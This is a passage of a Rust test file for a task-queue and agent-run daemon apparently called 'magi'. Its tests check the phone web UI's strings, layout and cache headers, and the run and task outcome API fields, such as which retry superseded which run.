15554        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15555    }
15556
15557    #[test]
15558    fn the_upgrade_button_names_its_destination() {
15559        assert!(
15560            APP_JS.contains("`Update to ${update.to}`"),
15561            "pressing the button should not be a surprise about what it moves to"
15562        );
15563    }
15564
15565    #[test]
15566    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15567        for stage in ["downloading", "replaced", "parking", "restarting"] {
15568            assert!(
15569                APP_JS.contains(&format!("\"{stage}\"")),
15570                "the phone must be able to tell {stage} apart from the others"
15571            );
15572        }
15573        assert!(APP_JS.contains(".waiting_on"));
15574        // What replaced the bare "Cannot reach magi: Failed to fetch": a
15575        // fetch failing while an upgrade is in flight is not an error, it is
15576        // the sub-second gap `bind_waiting` covers, and it must not be
15577        // reported as one.
15578        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15579        assert!(APP_JS.contains("reconnects on its own"));
15580    }
15581
15582    #[test]
15583    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15584        // `Stage::Failed` is terminal on the server and nothing clears it on
15585        // its own - not a fresh start, not time passing - so a full-strip
15586        // takeover for it (the way the busy stages take the strip over,
15587        // correctly, because those are transient) would have hidden
15588        // start/stop/park behind an upgrade notice with no way back short of
15589        // a person editing `upgrade.json` by hand or a later release
15590        // happening to succeed. The failure must instead ride along as a note
15591        // next to whatever control the loop's own state already offers.
15592        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15593            ..APP_JS.find("function upgrade(").expect("upgrade")];
15594        assert!(
15595            !body.contains(
15596                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
15597            ),
15598            "a failed upgrade must not take the whole strip over the way it used to"
15599        );
15600        assert!(
15601            body.contains("upgradeFailNote"),
15602            "the failure has to reach the loop's own note instead"
15603        );
15604        // `quiet` and `control` are the only two places `loop-why` is set from
15605        // this function's own state; both must carry the note through, or a
15606        // future edit to either one would silently drop it again.
15607        assert_eq!(
15608            body.matches("upgradeFailNote].filter(Boolean).join")
15609                .count(),
15610            2,
15611            "both loop-why writers (quiet and control) must fold the note in"
15612        );
15613    }
15614
15615    #[test]
15616    fn an_overdue_upgrade_eventually_asks_for_a_human() {
15617        // The ceiling has to clear a full hour-long park with room to spare,
15618        // or an ordinary implement wave would be reported as a stuck upgrade.
15619        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15620        assert!(APP_JS.contains("function upgradeOverdue("));
15621    }
15622
15623    #[test]
15624    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15625        assert!(
15626            APP_JS.contains("Updated to ${upgradeInfo.to"),
15627            "the operator who asked for the restart wants to know it worked"
15628        );
15629    }
15630
15631    #[test]
15632    fn an_error_is_visible_from_where_the_button_is() {
15633        // The alert used to sit in the flow under the header. On a phone
15634        // scrolled 13 500 px down to a run's action sheet that is off screen,
15635        // so tapping Resume and being told "the loop is running run b455
15636        // right now" looked exactly like a button that did nothing.
15637        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15638            ..APP_CSS.find(".alert-text").expect(".alert-text")];
15639        assert!(
15640            alert.contains("position: fixed"),
15641            "an error about the thing under your thumb has to be visible from \
15642             where your thumb is: {alert}"
15643        );
15644        assert!(
15645            alert.contains("z-index: 25"),
15646            "above the dock (20) and the run-actions FAB (15), so neither \
15647             buries it: {alert}"
15648        );
15649        assert!(
15650            alert.contains("var(--tap)"),
15651            "and clear of the dock and the home indicator: {alert}"
15652        );
15653        // The FAB sits at the same height on the right. An error that covered
15654        // it would hide the button the operator reaches for next.
15655        assert!(
15656            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15657            "the FAB's column stays free: {alert}"
15658        );
15659    }
15660
15661    #[tokio::test]
15662    async fn an_older_attempt_says_what_replaced_it() {
15663        let fx = Fixture::start().await;
15664        let q = fx.queue();
15665        let runs = fx.runs();
15666        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15667        write_run(&runs, first, RunStatus::Stalled);
15668        write_run(&runs, second, RunStatus::Blocked);
15669
15670        let mut t = Task::new(
15671            "one task".to_owned(),
15672            "do it".to_owned(),
15673            PathBuf::from("/repo"),
15674            Source::Human,
15675        );
15676        t.runs = vec![first.to_owned(), second.to_owned()];
15677        q.put(&mut t).expect("put");
15678
15679        // Two cards with the same title and no hint which is which was the
15680        // question: "why are there two of the same, one stalled and one
15681        // blocked?" The older one now names its replacement.
15682        let rows = fx.get("/api/runs").await.json();
15683        let by = |short: &str| -> Value {
15684            rows.as_array()
15685                .unwrap()
15686                .iter()
15687                .find(|r| r["short"] == short)
15688                .cloned()
15689                .unwrap_or(Value::Null)
15690        };
15691        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15692        assert!(
15693            by("bbbb")["superseded_by"].is_null(),
15694            "the latest attempt is not superseded by anything"
15695        );
15696        // Front end: the note has to be rendered, not just carried.
15697        assert!(APP_JS.contains("run.superseded_by"));
15698        assert!(APP_JS.contains("Superseded by"));
15699    }
15700
15701    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15702        let mut t = Task::new(
15703            "one task".to_owned(),
15704            "do it".to_owned(),
15705            PathBuf::from("/repo"),
15706            Source::Human,
15707        );
15708        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15709        t.status = status;
15710        t
15711    }
15712
15713    #[test]
15714    fn source_link_picks_the_page_that_filed_the_task() {
15715        let agent = |node: &str| Source::Agent {
15716            run: "20260904-014455-ab12".to_owned(),
15717            node: node.to_owned(),
15718        };
15719        let chat = source_link(&agent("chat")).expect("chat link");
15720        assert_eq!(chat.kind, "chat");
15721        assert_eq!(chat.id, "20260904-014455-ab12");
15722        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15723        let run = source_link(&agent("implement")).expect("run link");
15724        assert_eq!(
15725            (run.kind, run.href.as_str()),
15726            ("run", "#/runs/20260904-014455-ab12")
15727        );
15728        assert_eq!(source_link(&Source::Human), None);
15729        assert_eq!(
15730            source_link(&Source::Issue {
15731                number: 3,
15732                repo: "o/r".to_owned()
15733            }),
15734            None
15735        );
15736        let odd = source_link(&Source::Agent {
15737            run: "a b/c".to_owned(),
15738            node: "chat".to_owned(),
15739        })
15740        .expect("link");
15741        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15742    }
15743
15744    #[test]
15745    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15746        assert!(
15747            !APP_JS.contains("src.node === \"chat\""),
15748            "inline href rule is back"
15749        );
15750        assert!(
15751            APP_JS.matches("sourceLinkOf(").count() >= 4,
15752            "helper must serve every page"
15753        );
15754        assert!(
15755            APP_JS.matches("openChatLink(").count() >= 3,
15756            "the run page still needs its explicit chat link"
15757        );
15758        assert!(
15759            !APP_JS.contains("const openChat = el("),
15760            "the Queue card duplicates its source label link again"
15761        );
15762        assert!(
15763            APP_JS.contains("metaKids.push(link ? el(\"a\""),
15764            "the task page must link a chat source label too"
15765        );
15766    }
15767
15768    #[test]
15769    fn task_ref_carries_the_source_link_for_a_chat_task() {
15770        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15771        t.source = Source::Agent {
15772            run: "20260904-014455-ab12".to_owned(),
15773            node: "chat".to_owned(),
15774        };
15775        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15776        let v = serde_json::to_value(&out).expect("json");
15777        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15778        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15779        assert_eq!(v["source_label"], t.source.label());
15780
15781        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15782        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15783            .expect("json");
15784        assert!(v["source_link"].is_null(), "{v}");
15785    }
15786
15787    #[test]
15788    fn task_view_serializes_source_link() {
15789        let mut t = Task::new(
15790            "t".to_owned(),
15791            "t".to_owned(),
15792            PathBuf::from("/repo"),
15793            Source::Agent {
15794                run: "20260901-000000-aaaa".to_owned(),
15795                node: "implement".to_owned(),
15796            },
15797        );
15798        t.runs.clear();
15799        let v = serde_json::to_value(TaskView::from(t)).expect("json");
15800        assert_eq!(v["source_link"]["kind"], "run", "{v}");
15801        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15802    }
15803
15804    #[tokio::test]
15805    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15806        let fx = Fixture::start().await;
15807        let runs = fx.runs();
15808        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15809        write_run(&runs, old, RunStatus::Blocked);
15810        write_run(&runs, new, RunStatus::Merged);
15811        let mut t = outcome_task(&[old, new], TaskStatus::Done);
15812        fx.queue().put(&mut t).expect("put");
15813
15814        let view = fx.get(&format!("/api/runs/{old}")).await.json();
15815        let task = &view["task"];
15816        assert_eq!(task["status"], "done");
15817        assert_eq!(task["is_latest"], false);
15818        assert_eq!(task["latest"]["short"], "bbbb");
15819        assert_eq!(task["finished_by"]["id"], new);
15820        assert_eq!(task["finished_by"]["outcome"], "merged");
15821        assert_eq!(task["closed_by_hand"], false);
15822        assert_eq!(view["status"], "blocked", "the run keeps its own status");
15823        assert!(APP_JS.contains("finished_by"));
15824        assert!(APP_JS.contains("superseded by run"));
15825    }
15826
15827    #[tokio::test]
15828    async fn the_latest_run_reports_a_held_task_without_a_successor() {
15829        let fx = Fixture::start().await;
15830        let runs = fx.runs();
15831        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15832        write_run(&runs, old, RunStatus::Stalled);
15833        write_run(&runs, new, RunStatus::Blocked);
15834        let mut t = outcome_task(&[old, new], TaskStatus::Held);
15835        fx.queue().put(&mut t).expect("put");
15836
15837        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15838        assert_eq!(task["status"], "held");
15839        assert_eq!(task["is_latest"], true);
15840        assert!(task["latest"].is_null());
15841        assert!(task["finished_by"].is_null());
15842        assert_eq!(task["closed_by_hand"], false);
15843    }
15844
15845    #[tokio::test]
15846    async fn a_direct_run_has_no_task_outcome() {
15847        let fx = Fixture::start().await;
15848        let runs = fx.runs();
15849        let id = "20260901-000000-aaaa";
15850        write_run(&runs, id, RunStatus::Blocked);
15851        let view = fx.get(&format!("/api/runs/{id}")).await.json();
15852        assert!(view["task"].is_null());
15853    }
15854
15855    #[test]
15856    fn task_outcome_does_not_guess_a_finishing_run() {
15857        let a = "20260901-000000-aaaa";
15858        let b = "20260901-000000-bbbb";
15859        let c = "20260901-000000-cccc";
15860        let dir = tempfile::tempdir().expect("tempdir");
15861        write_run(dir.path(), a, RunStatus::Blocked);
15862        write_run(dir.path(), b, RunStatus::VerifiedNoop);
15863        // `c` has no record: unreadable.
15864        let read = |id: &str| read_run(dir.path(), id).ok();
15865        // Neither a blocked run nor a no-op finished the task; the newest run is
15866        // unreadable and still named.
15867        let t = outcome_task(&[a, b, c], TaskStatus::Done);
15868        let out = task_outcome(&t, a, 3, read);
15869        assert!(out.finished_by.is_none());
15870        assert!(out.closed_by_hand);
15871        let latest = out.latest.expect("latest");
15872        assert_eq!(latest.id, c);
15873        assert_eq!(latest.status, None);
15874        assert_eq!(latest.outcome, "record unreadable");
15875
15876        // A Ready run settles the task as done, so it is named as the finisher.
15877        write_run(dir.path(), c, RunStatus::Ready);
15878        let t = outcome_task(&[a, c], TaskStatus::Done);
15879        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15880        assert_eq!(out.finished_by.expect("finisher").id, c);
15881        assert!(!out.closed_by_hand);
15882
15883        // A resumed run id repeats: it is still the latest by id.
15884        let t = outcome_task(&[a, b, a], TaskStatus::Held);
15885        assert!(task_outcome(&t, a, 3, read).is_latest);
15886    }
15887
15888    #[tokio::test]
15889    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15890        // The list route has known this since the card fix above; the detail
15891        // route — what an operator actually opens from a notification about
15892        // a blocked run — did not, and went on showing a bare red BLOCKED
15893        // chip for a run a retry had already finished.
15894        let fx = Fixture::start().await;
15895        let q = fx.queue();
15896        let runs = fx.runs();
15897        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15898        write_run(&runs, first, RunStatus::Blocked);
15899        write_run(&runs, second, RunStatus::Merged);
15900
15901        let mut t = Task::new(
15902            "one task".to_owned(),
15903            "do it".to_owned(),
15904            PathBuf::from("/repo"),
15905            Source::Human,
15906        );
15907        t.runs = vec![first.to_owned(), second.to_owned()];
15908        q.put(&mut t).expect("put");
15909
15910        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15911        assert_eq!(earlier["superseded_by"], "dddd");
15912        assert_eq!(earlier["latest_attempt"]["id"], second);
15913        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15914        assert_eq!(
15915            earlier["latest_attempt"]["resolved"], true,
15916            "the run that replaced it landed, so this one reads as settled"
15917        );
15918
15919        let later = fx.get(&format!("/api/runs/{second}")).await.json();
15920        assert!(
15921            later["superseded_by"].is_null(),
15922            "the latest attempt is not superseded by anything"
15923        );
15924        assert!(
15925            later["latest_attempt"].is_null(),
15926            "the latest attempt has no later attempt of its own"
15927        );
15928
15929        // Front end: the detail page has to read the field this route now
15930        // carries, downgrade the chip, and link to the run that replaced it —
15931        // not just repeat the list card's own logic under a different name.
15932        // The link is built off `latest_attempt.id`, the server-resolved
15933        // full id, never a bare short string a client would have to guess a
15934        // full run from.
15935        assert!(APP_JS.contains("run.latest_attempt"));
15936        assert!(APP_JS.contains("data-superseded"));
15937        assert!(APP_JS.contains("#/runs/${latest.id}"));
15938    }
15939
15940    #[tokio::test]
15941    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15942        // A -> B -> C, all Blocked except the last. A's immediate successor
15943        // (superseded_by) is B, which is itself unresolved; what an operator
15944        // opening A's page actually needs is where the task's story stands
15945        // *now* - C, not B - without depending on whether C happens to be in
15946        // whatever page of /api/runs the client last cached.
15947        let fx = Fixture::start().await;
15948        let q = fx.queue();
15949        let runs = fx.runs();
15950        let (a, b, c) = (
15951            "20260901-000000-aaaa",
15952            "20260901-000000-bbbb",
15953            "20260901-000000-cccc",
15954        );
15955        write_run(&runs, a, RunStatus::Blocked);
15956        write_run(&runs, b, RunStatus::Blocked);
15957        write_run(&runs, c, RunStatus::Merged);
15958
15959        let mut t = Task::new(
15960            "retried twice".to_owned(),
15961            "do it".to_owned(),
15962            PathBuf::from("/repo"),
15963            Source::Human,
15964        );
15965        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15966        q.put(&mut t).expect("put");
15967
15968        let view = fx.get(&format!("/api/runs/{a}")).await.json();
15969        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15970        assert_eq!(
15971            view["latest_attempt"]["id"], c,
15972            "the chain's current head, not the intermediate Blocked retry"
15973        );
15974        assert_eq!(view["latest_attempt"]["resolved"], true);
15975
15976        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15977        assert_eq!(mid["latest_attempt"]["id"], c);
15978        assert_eq!(mid["latest_attempt"]["resolved"], true);
15979    }
15980
15981    #[tokio::test]
15982    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15983        let fx = Fixture::start().await;
15984        let q = fx.queue();
15985        let runs = fx.runs();
15986
15987        // Still Blocked: the task is not resolved, so the older run must not
15988        // read as settled either.
15989        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15990        write_run(&runs, still_blocked_a, RunStatus::Blocked);
15991        write_run(&runs, still_blocked_b, RunStatus::Blocked);
15992        let mut t1 = Task::new(
15993            "still stuck".to_owned(),
15994            "do it".to_owned(),
15995            PathBuf::from("/repo"),
15996            Source::Human,
15997        );
15998        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15999        q.put(&mut t1).expect("put");
16000        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16001        assert_eq!(view1["latest_attempt"]["resolved"], false);
16002        assert_eq!(view1["latest_attempt"]["status"], "blocked");
16003        assert_eq!(view1["latest_attempt"]["done"], true);
16004
16005        // Still running: the successor exists and must be reported as such.
16006        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16007        write_run(&runs, run_a, RunStatus::Blocked);
16008        write_run(&runs, run_b, RunStatus::Implementing);
16009        let mut t3 = Task::new(
16010            "retrying".to_owned(),
16011            "do it".to_owned(),
16012            PathBuf::from("/repo"),
16013            Source::Human,
16014        );
16015        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16016        q.put(&mut t3).expect("put");
16017        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16018        assert_eq!(view3["latest_attempt"]["id"], run_b);
16019        assert_eq!(view3["latest_attempt"]["resolved"], false);
16020        assert_eq!(view3["latest_attempt"]["done"], false);
16021
16022        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
16023        // to check - not a confirmed finish, so this must not read as
16024        // resolved either, even though the run is done in the sense that
16025        // nothing is still running.
16026        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16027        write_run(&runs, noop_a, RunStatus::Blocked);
16028        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16029        let mut t2 = Task::new(
16030            "claims done".to_owned(),
16031            "do it".to_owned(),
16032            PathBuf::from("/repo"),
16033            Source::Human,
16034        );
16035        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16036        q.put(&mut t2).expect("put");
16037        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16038        assert_eq!(
16039            view2["latest_attempt"]["resolved"], false,
16040            "an unverified no-op claim must not read as a confirmed finish"
16041        );
16042
16043        // Front end: an unresolved successor must not carry the "finished
16044        // this work" note or the muted chip treatment.
16045        assert!(APP_JS.contains("latest.resolved"));
16046        // ...but the link to it shows as soon as it exists, labelled by state
16047        // and without the "finished" wording or the muted chip.
16048        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16049        assert!(APP_JS.contains("Latest attempt: "));
16050        assert!(APP_JS.contains("in flight"));
16051        assert!(APP_JS.contains("not resolved"));
16052    }
16053
16054    #[tokio::test]
16055    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16056        let fx = Fixture::start().await;
16057        // No cache header at all meant browsers invented their own policy,
16058        // and one did: a phone went on showing "Candidates must be folded
16059        // before deleting. Run `magi fold` first." - deleted two releases
16060        // earlier - from a deck that no longer contained the sentence. The
16061        // button it named was right there, and unreachable.
16062        let js = fx.get("/app.js").await;
16063        assert_eq!(js.status, 200);
16064        let tag = js
16065            .header("etag")
16066            .expect("an etag to revalidate against")
16067            .to_owned();
16068        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16069        assert_eq!(
16070            js.header("cache-control"),
16071            Some("no-cache, must-revalidate"),
16072            "the phone has to ask every time"
16073        );
16074
16075        // And the asking has to be cheap, or `must-revalidate` just means
16076        // "send the whole interface on every load".
16077        let again = fx
16078            .get_with("/app.js", &[("if-none-match", tag.as_str())])
16079            .await;
16080        assert_eq!(
16081            again.status, 304,
16082            "a deck it already has costs one round trip"
16083        );
16084        assert!(again.body.is_empty(), "304 carries no body");
16085
16086        // A weakened tag from a proxy still matches; a different build does
16087        // not, which is the case that has to deliver the new interface.
16088        let weak = fx
16089            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16090            .await;
16091        assert_eq!(weak.status, 304);
16092        let stale = fx
16093            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16094            .await;
16095        assert_eq!(stale.status, 200, "an older build must be replaced");
16096        assert!(stale.body.contains("renderRunActions"));
16097    }
16098
16099    #[test]
16100    fn the_task_detail_has_an_actions_fab_and_sheet() {
16101        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16102        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16103        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16104        // Shown only on the task route, closed everywhere else.
16105        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16106        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16107        // Refreshed whenever the detail redraws, including the loading state.
16108        assert!(APP_JS.contains("renderTaskActions(task);"));
16109        assert!(APP_JS.contains("renderTaskActions(null);"));
16110        // Same renderers and routes as the Queue card, no new endpoint.
16111        let sheet = APP_JS
16112            .find("function renderTaskActions")
16113            .expect("sheet renderer");
16114        let body = &APP_JS[sheet..sheet + 3000];
16115        assert!(body.contains("changePriority("));
16116        assert!(body.contains("openTaskEdit(task)"));
16117        assert!(body.contains("renderTaskHoldBox(host"));
16118        assert!(body.contains("renderTaskDoneBox(host"));
16119        assert!(body.contains("renderTaskDeleteBox(host"));
16120        assert!(APP_JS.contains("API.priority(id)"));
16121        assert!(APP_JS.contains("API.deleteTask(id)"));
16122        // A deleted task sends the operator back to the queue.
16123        assert!(APP_JS.contains("location.hash = \"#/queue\""));
16124        // A refusal is shown inside the sheet.
16125        assert!(APP_JS.contains("$(\"task-actions-error\")"));
16126    }
16127
16128    #[test]
16129    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16130        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16131        let actions = INDEX_HTML
16132            .find("id=\"run-actions-box\"")
16133            .expect("actions box");
16134        assert!(task < actions, "the task entry comes first in the sheet");
16135        assert!(APP_JS.contains("renderRunTaskEntry"));
16136        assert!(APP_JS.contains("\"Open task \""));
16137        // A run without a task says why there is nothing to open.
16138        assert!(APP_JS.contains("started directly, no task"));
16139        assert!(APP_JS.contains("sheet-task-link"));
16140        assert!(APP_JS.contains("task-chip-link"));
16141    }
16142
16143    #[test]
16144    fn the_deck_never_sends_the_operator_to_a_terminal() {
16145        // The whole point of the phone UI is that a terminal is not needed.
16146        // The delete control used to answer with "Run `magi fold` first."
16147        assert!(
16148            !APP_JS.contains("Run `magi fold` first"),
16149            "the deck must offer the fold, not prescribe a shell command"
16150        );
16151        assert!(APP_JS.contains("foldRun:"));
16152        assert!(APP_JS.contains("resumeRun:"));
16153        assert!(APP_JS.contains("renderRunActions"));
16154
16155        // Folding is destructive and armed in two steps, like deleting.
16156        assert!(APP_JS.contains("armedFold"));
16157        assert!(APP_JS.contains("Yes, fold worktrees"));
16158
16159        // And the copy has to say that the two actions are opposites, because
16160        // folding throws away exactly what a resume would continue from.
16161        assert!(APP_JS.contains("can no longer be resumed"));
16162    }
16163
16164    #[test]
16165    fn a_finished_run_explains_itself_with_its_own_last_line() {
16166        // The deck used to answer "why did this stop?" with a sentence chosen
16167        // by status alone. Run e633 stalled because two judges answered with
16168        // the wrong JSON shape and its card said "The panel collapsed on
16169        // agent quota" - with `quota: []` in the record and a quota-loss
16170        // counter right above it that correctly said nothing.
16171        assert!(
16172            !APP_JS.contains("collapsed on agent quota"),
16173            "a stall must not be explained by a cause the deck did not check"
16174        );
16175        assert!(
16176            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16177            "and a block must not offer a guess with an `or` in it"
16178        );
16179
16180        // The reason it does have is `run.event`, which must reach finished
16181        // runs: gating it on movement hid the recorded truth at the one moment
16182        // the operator is reading the card to find out what happened.
16183        assert!(
16184            APP_JS.contains("setText(r.event, run.event || \"\")"),
16185            "the run's last line is rendered unconditionally"
16186        );
16187        assert!(
16188            !APP_JS.contains("moving && run.event"),
16189            "and never gated on the run still moving"
16190        );
16191
16192        // Quota keeps its own counter, fed by the number actually recorded.
16193        assert!(APP_JS.contains("lost to quota"));
16194    }
16195
16196    /// The runs tree (section) and the state chips (waiting/done) are two
16197    /// independent lenses ANDed together in `renderRuns`, and some pairings
16198    /// can never both be true for any run - every "Landed"/"Ended" run is
16199    /// done by construction, so pairing either with "Active" or "In flight"
16200    /// always rendered zero cards with the filter bar still claiming
16201    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
16202    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
16203    /// a handful of (waiting, status) shapes standing in for the run
16204    /// lifecycle, because `cargo test` cannot execute the front end.
16205    ///
16206    /// That stand-in list is itself the part that drifted twice in review:
16207    /// once shipped with `waiting: true` paired with a done status the
16208    /// lifecycle cannot produce, then over-corrected into treating every
16209    /// waiting run as never done - which made "Waiting on you" look
16210    /// incompatible with "Done" even for the one real, reachable shape
16211    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
16212    /// that combination. This test parses the shapes and the done-rule back
16213    /// out of `APP_JS`, reimplements `runSection` and the five state
16214    /// predicates independently in Rust, and checks the resulting
16215    /// section/filter compatibility table against the lifecycle rules by
16216    /// hand - so either direction of drift fails it again.
16217    #[test]
16218    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16219        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16220        let shapes_body_start =
16221            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16222        let shapes_close = APP_JS[shapes_body_start..]
16223            .find("].map(")
16224            .expect("the shape list is closed by its done-computing .map(...)")
16225            + shapes_body_start;
16226        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16227
16228        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16229        for entry in shapes_src.split('{').skip(1) {
16230            let waiting = entry.contains("waiting: true");
16231            let dead = entry.contains("live: \"dead\"");
16232            let status_at =
16233                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16234            let status_end = entry[status_at..]
16235                .find('"')
16236                .expect("the status string is closed")
16237                + status_at;
16238            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16239        }
16240        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16241
16242        // The done rule itself (`!["implementing"].includes(shape.status)`),
16243        // read out of the source rather than hardcoded, so a renamed
16244        // in-flight status can't silently make every parsed shape "done".
16245        let done_rule_marker = "done: !";
16246        let done_rule_at = APP_JS[shapes_close..]
16247            .find(done_rule_marker)
16248            .expect("the done rule follows the shape list")
16249            + shapes_close
16250            + done_rule_marker.len();
16251        let includes_at = APP_JS[done_rule_at..]
16252            .find(".includes(shape.status)")
16253            .expect("the done rule ends in .includes(shape.status)")
16254            + done_rule_at;
16255        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16256            .trim()
16257            .trim_start_matches('[')
16258            .trim_end_matches(']')
16259            .split(',')
16260            .map(|s| s.trim().trim_matches('"'))
16261            .filter(|s| !s.is_empty())
16262            .collect();
16263
16264        let shapes: Vec<(bool, String, bool, bool)> = shapes
16265            .into_iter()
16266            .map(|(waiting, status, dead)| {
16267                let done = !not_done.contains(&status.as_str());
16268                (waiting, status, dead, done)
16269            })
16270            .collect();
16271
16272        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
16273        // outright, then merged/ready land, stalled/blocked/failed/
16274        // verified_noop end, and everything else is still in flight.
16275        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16276            if waiting {
16277                return "waiting";
16278            }
16279            if dead
16280                && !matches!(
16281                    status,
16282                    "merged"
16283                        | "ready"
16284                        | "stalled"
16285                        | "blocked"
16286                        | "failed"
16287                        | "verified_noop"
16288                        | "superseded"
16289                        | "already_in_base"
16290                )
16291            {
16292                return "stale";
16293            }
16294            match status {
16295                "merged" | "ready" => "landed",
16296                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16297                | "already_in_base" => "ended",
16298                _ => "flight",
16299            }
16300        }
16301
16302        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
16303        // way.
16304        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16305            match filter_key {
16306                "active" => !done,
16307                "flight" => !done && !waiting && !dead,
16308                "stale" => !done && !waiting && dead,
16309                "waiting" => waiting,
16310                "done" => done,
16311                "all" => true,
16312                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16313            }
16314        }
16315
16316        let compatible = |section: &str, filter_key: &str| {
16317            shapes.iter().any(|(waiting, status, dead, done)| {
16318                run_section(*waiting, status, *dead) == section
16319                    && filter_matches(filter_key, *waiting, *dead, *done)
16320            })
16321        };
16322
16323        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
16324        // (active, flight, stale, waiting, done, all) - hand-derived from the
16325        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
16326        // currently contains.
16327        let expected = [
16328            ("waiting", [true, false, false, true, true, true]),
16329            ("stale", [true, false, true, false, false, true]),
16330            ("flight", [true, true, false, false, false, true]),
16331            ("landed", [false, false, false, false, true, true]),
16332            ("ended", [false, false, false, false, true, true]),
16333        ];
16334        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16335
16336        for (section, wants) in expected {
16337            for (filter_key, want) in filter_keys.iter().zip(wants) {
16338                assert_eq!(
16339                    compatible(section, filter_key),
16340                    want,
16341                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16342                );
16343            }
16344        }
16345
16346        // The compatibility check exists only to be acted on: both pickers
16347        // must actually consult it rather than just render its answer.
16348        assert!(
16349            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16350        );
16351        assert!(APP_JS.contains(
16352            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16353        ));
16354        assert!(APP_JS.contains(
16355            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16356        ));
16357    }
16358
16359    #[tokio::test]
16360    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16361        // An operator-named directory - git checkout or not - is never
16362        // second-guessed, even when it does not exist at all: only the
